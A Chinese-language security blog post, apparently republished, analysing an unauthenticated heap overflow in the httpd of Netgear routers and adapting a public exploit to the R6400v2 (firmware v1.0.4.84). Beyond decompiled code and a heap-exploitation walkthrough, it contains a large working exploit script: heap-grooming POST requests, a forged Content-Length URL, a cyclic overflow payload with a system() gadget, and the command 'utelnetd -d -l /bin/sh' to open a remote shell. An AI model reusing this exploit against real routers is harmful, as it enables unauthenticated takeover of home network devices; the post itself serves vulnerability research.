Netgear R6400v2 堆溢出漏洞分析与利用

作者:cq674350529

本文首发于信安之路,原文链接:https://mp.weixin.qq.com/s/FvqfcHjdM6-LVf-lQXzplA

漏洞简介

2020年6月,ZDI发布了一个关于Netgear R6700型号设备上堆溢出漏洞的安全公告,随后又发布了一篇关于该漏洞的博客,其中对该漏洞进行了详细分析,并给出了完整的漏洞利用代码。该漏洞存在于对应设备的httpd组件中,在处理配置文件上传请求时,由于对请求内容的处理不当,在后续申请内存空间时存在整数溢出问题,从而造成堆溢出问题。攻击者利用这一漏洞可以在目标设备上实现代码执行,且无需认证。

此前,关于IoT设备上公开的带完整漏洞利用的堆溢出漏洞比较少(好像公开的堆溢出漏洞就不多…),正好手边有一个R6400v2型号的设备,因此打算分析一下该漏洞,了解漏洞利用的思路,并尝试基于R6400v2型号设备实现漏洞利用。

漏洞分析

根据Netgear官方的安全公告,针对R6400v2型号设备,版本v1.0.4.84及其之前版本受该漏洞影响,在之后的版本中修复了该漏洞,因此选择v1.0.4.84版本来对该漏洞进行分析。

ZDI博客中已经对该漏洞进行了分析,故这里简单说明下。该漏洞存在于httpd组件的http_d()函数中,在处理配置文件上传请求时(接口为"/backup.cgi"),在(1)处会调用recv()读取数据,第一次读取完数据后,程序流程会到达(2)处,对请求头中的部分字段进行判断。之后会再次调用recv()读取数据,之后程序流程会到达(3)处。之后在(4)处计算请求头中"Content-Length"字段对应的值,基于该值,在(5)处计算实际的文件内容长度。在(6)处会根据计算得到的文件内容大小申请内存空间,在(7)处调用memcpy()进行拷贝。

存在该漏洞的原因在于,在计算请求头中"Content-Length"字段对应的值时,通过调用stristr(s1, "Content-Length: ")来定位其位置,当在请求url中包含"Content-Length: "时,可使得计算的值错误,从而影响后续申请的堆块大小。通过伪造合适的"Content-Length: xxx",可造成后续在调用memcpy()时出现堆溢出。该漏洞的发现者d4rkn3ss给出的请求url"/cgi-bin/genie.cgi?backup.cgiContent-Length: 4156559"

同样,由于在R6400v2设备上存在nginx代理,nginx会保证请求头中的Content-Length对应的值与请求体的内容长度相等,故无法通过直接伪造原始请求头中的Content-Length触发。

int http_d(int a1)

{

// ...

if ( v248.s_addr ) {

// ...

while ( 1 ) {

while ( 1 ) {

while ( 1 ) {

while ( 1 ) {

do

{

// ...

if ( (((unsigned int)v223[0].__fds_bits[(unsigned int)dword_F253F4 >> 5] >> (dword_F253F4 & 0x1F)) & 1) != 0

|| (v92 = dword_1994EC) != 0 )

{

var_recv_len = my_read(dword_F253F4, &recv_buf, 0x400u); // (1) recv(), 请求过长的话会被调用多次

// ...

}

v152 = v198;

goto LABEL_395;

}

while ( var_recv_len == -2 );

if ( v150 )

break;

v144 = var_recv_len + var_offset;

if ( (int)(var_recv_len + var_offset) >= 0x10000 )

{

// ...

}

else

{

memcpy(&s1[var_offset], &recv_buf, var_recv_len); // (2)

s1[v144] = 0;

if ( stristr(s1, "Content-Disposition:") && stristr(s1, "Content-Length: ") && stristr(s1, "upgrade_check.cgi")

&& (stristr(s1, "Content-Type: application/octet-stream") || stristr(s1, "MSIE 10"))

|| stristr(s1, "Content-Disposition:") && stristr(s1, "Content-Length: ") && stristr(s1, "backup.cgi")

|| stristr(s1, "Content-Disposition:") && stristr(s1, "Content-Length: ")&& stristr(s1, "genierestore.cgi") )

{

// ...

goto LABEL_356;

}

// ...

LABEL_356:

v150 = 1; goto LABEL_357;

}

// ...

}

//...

}

// ...

v107 = stristr(s1, "name=\"mtenRestoreCfg\""); // (3)

if ( v107 && (v108 = stristr(v107, "\r\n\r\n")) != 0 )

{

v109 = v108 + 4; // 指向文件内容

v102 = v108 + 4 - (_DWORD)s1; // post请求部分除文件内容之外其他部分的长度

v110 = stristr(s1, "Content-Length: ");// 没有考虑其位置,可以在url中伪造,进而造成后续出现堆溢出

if ( !v110 )

goto LABEL_286;

v111 = v110 + 15;

v112 = stristr(v110 + 16, "\r\n") - (v110 + 16);

v105 = 0;

for ( i = 0; i < v112; ++i ) // (4) Content-Length对应的值

{

v114 = *(char *)++v111;

v105 = v114 - '0' + 10 * v105;

}

if ( v105 > 0x20017 ) // post data部分的长度

{

v105 = stristr(s1, "\r\n\r\n") + v105 + 4 - v109;// (5) 计算文件内容的长度, 由于v105是伪造的, 故计算得到的结果会有问题

goto LABEL_287;

}

// ...

}

else

{

// ...

LABEL_287:

// ...

if ( dword_1A870C )

{

free((void *)dword_1A870C);

dword_1A870C = 0;

}

sub_2F284((int *)&v224);

dword_1A870C = (int)malloc(v105 + 0x258); // (6)

if ( dword_1A870C || ...)

{

memset((void *)dword_1A870C, 0x20, v105 + 0x258);

v203=var_offset-v102; // 对于超长请求, var_offset最大值位0x800(只会触发recv() 2次)

memcpy((void *)dword_1A870C, &s1[v102], var_offset-v102);// (7) heap overflow

// ...

漏洞利用

原始方法

ZDI博客中也给出了漏洞的上下文以及利用思路,这里进行简单概括。关于该漏洞的上下文如下:

  • 可以往堆上写任意的数据,包括'\x00'

  • ASLR 等级为1,因此堆空间的起始地址是固定的

  • 该设备使用的是uClibc,相当于一个简化版的glibc,其关于堆的检查条件比glibc中宽松很多

  • 在实现堆溢出之后,fopen()函数会被调用,其中会分别调用malloc(0x60)malloc(0x1000),之后也会调用free()进行释放。堆块的申请与释放先后顺序如下:

  free(dword_1A870C) -> dword_1A870C = malloc(<controllable_size>) -> free(malloc(0x60)) -> free(malloc(0x1000))

  • 通过请求接口"/strtblupgrade.cgi",可以实现任意大小的堆块申请与释放:free(malloc())

d4rkn3ss利用fastbin dup attack的思路来进行漏洞利用,即通过破坏堆的状态,使得后续的malloc()返回指定的地址,由于可以往该地址写任意内容(write-what-where),故可以通过覆盖got表项的方式实现任意代码执行。但是前面提到,在实现堆溢出之后,在fopen()内会调用malloc(0x1000),其会触发__malloc_consolidate(),从而破坏已有的fastbin,因此需要先解决__malloc_consolidate()的问题。

uClibc中的free()函数内,在释放fastbin时存在越界写问题,而在malloc_state结构体中,max_fast变量正好在fastbins数组前,通过越界写可以实现修改max_fast变量的目的。当max_fast变量被改成一个很大的值后,后续再调用malloc(0x1000)时便不会触发__malloc_consolidate(),从而可以执行fastbin dup attack

void free(void* mem)

{

// ...

/*

If eligible, place chunk on a fastbin so it can be found

and used quickly in malloc.

*/

if ((unsigned long)(size) <= (unsigned long)(av->max_fast)

/* If TRIM_FASTBINS set, don't place chunks

bordering top into fastbins */

&& (chunk_at_offset(p, size) != av->top)

) {

set_fastchunks(av);

fb = &(av->fastbins[fastbin_index(size)]); // out-of-bounds write

p->fd = *fb;

*fb = p;

}

// ...

struct malloc_state {

/* The maximum chunk size to be eligible for fastbin */

size_t max_fast; /* low 2 bits used as flags */

/* Fastbins */

mfastbinptr fastbins[NFASTBINS];

/* Base of the topmost chunk -- not otherwise kept in a bin */

mchunkptr top;

/* The remainder from the most recent split of a small request */

mchunkptr last_remainder;

// ...

综上,漏洞利用的过程如下:

  • 通过堆溢出修改下一个空闲块的prev_size字段和size字段,填充合适的prev_size值,并使得PREV_INUSE标志位为0;

之后在触发__malloc_consolidate()时,会对该fastbin进行后向合并,因此需要保证能根据伪造的prev_size找到前面的某个空闲块,否则unlink时会报错

  • 通过/strtblupgrade.cgi接口申请一个合适大小的堆块,该堆块会与上面已分配的堆块重叠,从而可以修改上面堆块的大小为0x8

在上一步__malloc_consolidate()后,由于堆块的后向合并,故会存在一个空闲的堆块与已分配的堆块重叠

  • 释放上面已分配的堆块,在将其放入fastbins数组中时,会出现越界写,从而将max_fast修改为一个很大的值;

max_fast被修改为一个很大的值后,调用mallco(0x1000)时就不会触发__malloc_consolidate(),之后就可以执行fastbin dup attack

  • 再次通过堆溢出覆盖下一个空闲块,修改其fd指针为free()got地址(准确来说为free_got_addr - offset);

  • 连续申请2个合适的堆块,返回的第2个堆块的地址指向free()的got表项,通过向堆块中写入数据,将其修改为system()plt地址;

  • 当释放第2个堆块时,执行free()将调用system(),同时其参数指向构造的payload,从而实现代码执行。

H4lo师傅提供了另外的思路来进行漏洞利用,具体可参考这里

“意外”方法

基于上述思路,在R6400v2设备上进行漏洞利用时发现存在如下问题:

  • 通过malloc(0x30) -> malloc(0x40) -> malloc(0x30)方式进行堆布局时,得到的两个堆块之间的偏移比较小,但是由于返回的堆地址比较小,在后续触发__malloc_consolidate()对空闲堆块进行后向合并时,往前找不到合适的空闲堆块,无法进行堆块合并。尝试通过分配不同的堆块大小、以及发送不同的请求等方式,均无法得到满足条件的堆块。
  • 通过malloc(0x20) -> malloc(0x10) -> malloc(0x20)方式进行堆布局时,得到的两个堆块之间的偏移比较大(超过0x470),按照d4rkn3ss提供的漏洞利用代码,好像无法实现溢出来覆盖下一个堆块。

由于多次尝试第一种方式均失败,只能寄希望于第二种方式。由于触发漏洞的接口为"/backup.cgi"(配置文件上传接口),按理来说上传的配置文件可以比较大,故该接口应该可以处理较长的请求,但当文件内容长度超过0x400时却无法溢出。通过对该请求的处理流程进行分析发现,要通过该接口触发漏洞,整个请求的长度要在0x400~0x800之间,如下:

  • 该请求必须触发2次recv() ,即对应请求长度必须>0x400,否则无法到达漏洞点处;
  • 该请求只会触发2次recv(),当对应请求长度>0x800,过长的内容会被截断,后续拷贝时无法造成溢出。

d4rkn3ss提供的漏洞利用脚本中,可以看到在请求头中有一个'a'*0x200的占位符,同时make_filename()也有一个类似的占位符,因此实际可上传的配置文件大小约为0x2c0左右,故当两个堆块之间的偏移超过0x400时无法造成堆溢出。解决方式很简单,当要上传大文件时,去掉占位符'a'*0x200即可。

def make_filename(chunk_size):

return 'a' * (0x1d7 - chunk_size)

def exploit():

path = '/cgi-bin/genie.cgi?backup.cgiContent-Length: 4156559'

headers = ['Host: %s:%s' % (rhost, rport), 'a'*0x200 + ': d4rkn3ss']

在解决了该问题后,打算按照原来的思路进行利用,可能存在的一些问题如下:

  • 两个堆块之间的偏移约为0x470,而且不相邻,在溢出覆盖目标空闲堆块时是否会破坏其他结构?
  • 溢出到目标空闲堆块后,在触发__malloc_consolidate()对该空闲堆块进行后向合并时,后向偏移约为0x24e0,通过/strtblupgrade.cgi接口申请合适大小的堆块,利用该堆块修改上面已分配堆块的size字段,是否会破坏其他结构?

经过测试,发现和预期不太一致:通过/strtblupgrade.cgi接口申请的堆地址在前面合并的空闲堆块地址之前,同时,此时的$PC已经被填充的payload控制了,直接实现了劫持控制流的目的。如下,可以看到$PC的值来自于填充的内容,同时部分寄存器如$R4也指向填充的payload。因此,只需要找到合适的rop gadgets,构造合适的payload,即可实现代码执行。

根据backtrace信息,查看uClibc中函数__stdio_WRITE()的源码,如下。在__stdio_WRITE()中,正常情况下是通过宏_WRITE来调用__gcs.write()函数,但经过上述操作后,STREAMPTR指向了填充的payload,从而可以控制(STREAMPTR)->__gcs.write。经过调试暂时未定位到修改STREAMPTR的地方(在下断点进一步分析时,有时貌似无法复现… 暂时未想到其他方式来定位),感兴趣的可以试试。

// in _WRITE.c

size_t attribute_hidden __stdio_WRITE(register FILE *stream,

register const unsigned char *buf, size_t bufsize)

{

size_t todo;

ssize_t rv, stodo;

__STDIO_STREAM_VALIDATE(stream);

assert(stream->__filedes >= -1);

assert(__STDIO_STREAM_IS_WRITING(stream));

assert(!__STDIO_STREAM_BUFFER_WUSED(stream)); /* Buffer must be empty. */

todo = bufsize;

while (todo != 0) {

stodo = (todo <= SSIZE_MAX) ? todo : SSIZE_MAX;

rv = __WRITE(stream, (char *) buf, stodo); // <===

// ...

// _stdio.h

((((STREAMPTR)->__gcs.write) == NULL) ? -1 : \

(((STREAMPTR)->__gcs.write)((STREAMPTR)->__cookie,(BUF),(SIZE))))

综上,上述思路的主要过程如下。需要说明的是,在未访问设备Web后台(比如重启设备后)和访问Web后台后,调用malloc(0x8)返回的堆块地址不太一致(存在0x10的偏移),使得下列过程不太稳定(不适用于访问过Web后台的情形),建议重启设备后测试。本来想通过触发__malloc_consolidate()来使得堆块状态一致,但好像不起作用…

colorlight师傅建议通过先多次发送登录请求(错误的认证即可),当响应的状态码为200时,可使得两种情形下的堆状态一致,但测试后发现针对上述情形似乎仍然无效 …

# XXX: useless??? use __malloc_consolidate() to make the heap consistent

print '[+] malloc 0x38 chunk'

f = copy.deepcopy(files)

f['filename'] = make_filename(0x38)

post_request(path, headers, f)

print '[+] malloc 0x20 chunk'

# r0 0x1033ba0 <-- return here

f = copy.deepcopy(files)

f['filename'] = make_filename(0x20)

post_request(path, headers, f)

print '[+] malloc 0x8 chunk'

# 0x103400c ◂— 0x10

# r0 0x1034010 <-- return here # TODO: how to make it stable (0x1034010/0x1034020)

f = copy.deepcopy(files)

f['filename'] = make_filename(0x8)

post_request(path, headers, f)

print '[+] malloc 0x20 chunk'

# r0 0x1033ba0 <-- return here

headers = ['Host: %s:%s' % (rhost, rport)] # remove `'a'*0x200 + ': d4rkn3ss'`

f = copy.deepcopy(files)

f['filename'] = make_filename(0x20)

f['filecontent'] = 'a' * 0x468 + p32(0x24e0) + p32(0x10) # offset: 0x470

post_request(path, headers, f)

print '[+] malloc 0x2080 chunk and try to overwrite size of 0x28 chunk -> 0x9.'

# r0 0x1031ac8 <-- return here

# ...

# 0x1031b20 # consolidated free chunk

# ...

# r0 0x1033ba0

# ...

# 0x103400c ◂— 0x10

# r0 0x1034010

malloc_size = 0x2080 # a large value is ok, not need to be precise in this case

f = copy.deepcopy(files)

f['name'] = 'StringFilepload'

f['filename'] = 'a' * 0x100

# hijack $PC in __stdio_WRITE()

system_gadget = 0xF3C8

cmd = 'utelnetd -d -l /bin/sh'.ljust(32, '\x00') # changed to "utelnetd -d -d -l /bin/sh"

payload = 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaalzaambaamcaamdaameaamfaamgaamhaamiaamjaamkaamlaammaamnaamoaampaamqaamraamsaamtaamuaamvaamwaamxaamyaamzaanbaancaandaaneaanfaangaanhaaniaanjaankaanlaanmaannaanoaanpaanqaanraansaantaanuaanvaanwaanxaanyaanzaaobaaocaaodaaoeaaofaaogaaohaaoiaaojaaokaaolaaomaaonaaooaaopaaoqaaoraaosaaotaaouaaovaaowaaoxaaoyaaozaapbaapcaapdaapeaapfaapgaaphaapiaapjaapkaaplaapmaapnaapoaappaapqaapraapsaaptaapuaapvaapwaapxaapyaapzaaqbaaqcaaqdaaqeaaqfaaqgaaqhaaqiaaqjaaqkaaqlaaqmaaqnaaqoaaqpaaqqaaqraaqsaaqtaaquaaqvaaqwaaqxaaqyaaqzaarbaarcaardaareaarfaargaarhaariaarjaarkaarlaarmaarnaaroaarpaarqaarraarsaartaaruaarvaarwaarxaaryaarzaasbaascaasdaaseaasfaasgaashaasiaasjaaskaaslaasmaasnaasoaaspaasqaasraassaastaasuaasvaaswaasxaasyaaszaatbaatcaatdaateaatfaatgaathaatiaatjaatkaatlaatmaatnaatoaatpaatqaatraatsaattaatuaatvaatwaatxaatyaatzaaubaaucaaudaaueaaufaaugaauhaauiaaujaaukaaulaaumaaunaauoaaupaauqaauraausaautaauuaauvaauwaauxaauyaauzaavbaavcaavdaaveaavfaavgaavhaaviaavjaavkaavlaavmaavnaavoaavpaavqaavraavsaavtaavuaavvaavwaavxaavyaavzaawbaawcaawdaaweaawfaawgaawhaawiaawjaawkaawlaawmaawnaawoaawpaawqaawraawsaawtaawuaawvaawwaawxaawyaawzaaxbaaxcaaxdaaxeaaxfaaxgaaxhaaxiaaxjaaxkaaxlaaxmaaxnaaxoaaxpaaxqaaxraaxsaaxtaaxuaaxvaaxwaaxxaaxyaaxzaaybaaycaaydaayeaayfaaygaayhaayiaayjaaykaaylaaymaaynaayoaaypaayqaayraaysaaytaayuaayvaaywaayxaayyaayzaazbaazcaazdaazeaazfaazgaazhaaziaazjaazkaazlaazmaaznaazoaazpaazqaazraazsaaztaazuaazvaazwaazxaazyaazzababacabadabaeabafabagabahabaiabajabakabalabamabanabaoabapabaqabarabasabatabauabavabawabaxabayabazabbbabbcabbdabbeabbfabbgabbhabbiabbjabbkabblabbmabbnabboabbpabbqabbrabbsabbtabbuabbvabbwabbxabbyabbzabcbabccabcdabceabcfabcgabchabciabcjabckabclabcmabcnabcoabcpabcqabcrabcsabctabcuabcvabcwabcxabcyabczabdbabdcabddabdeabdfabdgabdhabdiabdjabdkabdlabdmabdnabdoabdpabdqabdrabdsabdtabduabdvabdwabdxabdyabdzabebabecabedabeeabefabegabehabeiabejabekabelabemabenabeoabepabeqaberabesabetabeuabevabewabexabeyabezabfbabfcabfdabfeabffabfgabfhabfiabfjabfkabflabfmabfnabfoabfpabfqabfrabfsabftabfuabfvabfwabfxabfyabfzabgbabgcabgdabgeabgfabggabghabgiabgjabgkabglabgmabgnabgoabgpabgqabgrabgsabgtabguabgvabgwabgxabgyabgzabhbabhcabhdabheabhfabhgabhhabhiabhjabhkabhlabhmabhnabhoabhpabhqabhrabhsabhtabhuabhvabhwabhxabhyabhzabibabicabidabieabifabigabihabiiabijabikabilabimabinabioabipabiqabirabisabitabiuabivabiwabixabiyabizabjbabjcabjdabjeabjfabjgabjhabjiabjjabjkabjlabjmabjnabjoabjpabjqabjrabjsabjtabjuabjvabjwabjxabjyabjzabkbabkcabkdabkeabkfabkgabkhabkiabkjabkkabklabkmabknabkoabkpabkqabkrabksabktabkuabkvabkwabkxabkyabkzablbablcabldableablfablgablhabliabljablkabllablmablnabloablpablqablrablsabltabluablvablwablxablyablzabmbabmcabmdabmeabmfabmgabmhabmiabmjabmkabmlabmmabmnabmoabmpabmqabmrabmsabmtabmuabmvabmwabmxabmyabmzabnbabncabndabneabnfabngabnhabniabnjabnkabnlabnmabnnabnoabnpabnqabnrabnsabntabnuabnvabnwabnxabnyabnzabobabocabodaboeabofabogabohaboiabojabokabolabomabonabooabopaboqaborabosabotabouabovabowaboxaboyabozabpbabpcabpdabpeabpfabpgabphabpiabpjabpkabplabpmabpnabpoabppabpqabprabpsabptabpuabpvabpwabpxabpyabpzabqbabqcabqdabqeabqfabqgabqhabqiabqjabqkabqlabqmabqnabqoabqpabqqabqrabqsabqtabquabqvabqwabqxabqyabqzabrbabrcabrdabreabrfabrgabrhabriabrjabrkabrlabrmabrnabroabrpabrqabrrabrsabrtabruabrvabrwabrxabryabrzabsbabscabsdabseabsfabsgabshabsiabsjabskabslabsmabsnabsoabspabsqabsrabssabstabsuabsvabswabsxabsyabszabtbabtcabtdabteabtfabtgabthabtiabtjabtkabtlabtmabtnabtoabtpabtqabtrabtsabttabtuabtvabtwabtxabtyabtzabubabucabudabueabufabugabuhabuiabujabukabulabumabunabuoabupabuqaburabusabutabuuabuvabuwabuxabuyabuzabvbabvcabvdabveabvfabvgabvhabviabvjabvkabvlabvmabvnabvoabvpabvqabvrabvsabvtabvuabvvabvwabvxabvyabvzabwbabwcabwdabweabwfabwgabwhabwiabwjabwkabwlabwmabwnabwoabwpabwqabwrabwsabwtabwuabwvabwwabwxabwyabwzabxbabxcabxdabxeabxfabxgabxhabxiabxjabxkabxlabxmabxnabxoabxpabxqabxrabxsabxtabxuabxvabxwabxxabxyabxz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payload_offset = payload.index("baaz")

payload = payload.replace(payload[payload_offset+0x24:payload_offset + 0x24 +4], p32(system_gadget))

payload = payload.replace(payload[payload_offset:payload_offset+32], cmd)

f['filecontent'] = p32(malloc_size).ljust(0x10) + payload + p32(0x9)

post_request('/strtblupgrade.cgi.css', headers, f)

补丁分析

R6400v2-V1.0.4.98_10.0.71版本为例,在http_d()函数中存在一处变更如下:在定位到"Content-Length: "后判断其前一个字符是否为'\n',应该是对该漏洞的修复。

小结

本文基于R6400v2型号设备,对R6700设备上的堆溢出漏洞进行了分析,并重点介绍了漏洞利用的思路。在参考原始思路实现漏洞利用的过程中,”意外”发现了另一种方式可直接劫持控制流。当然,由于不同设备上的堆布局可能不太一致,这种方式可能不具普适性(甚至带有一点运气的成分…),而原始的利用思路则比较通用。

相关链接

以上是 Netgear R6400v2 堆溢出漏洞分析与利用 的全部内容, 来源链接: utcz.com/p/199948.html

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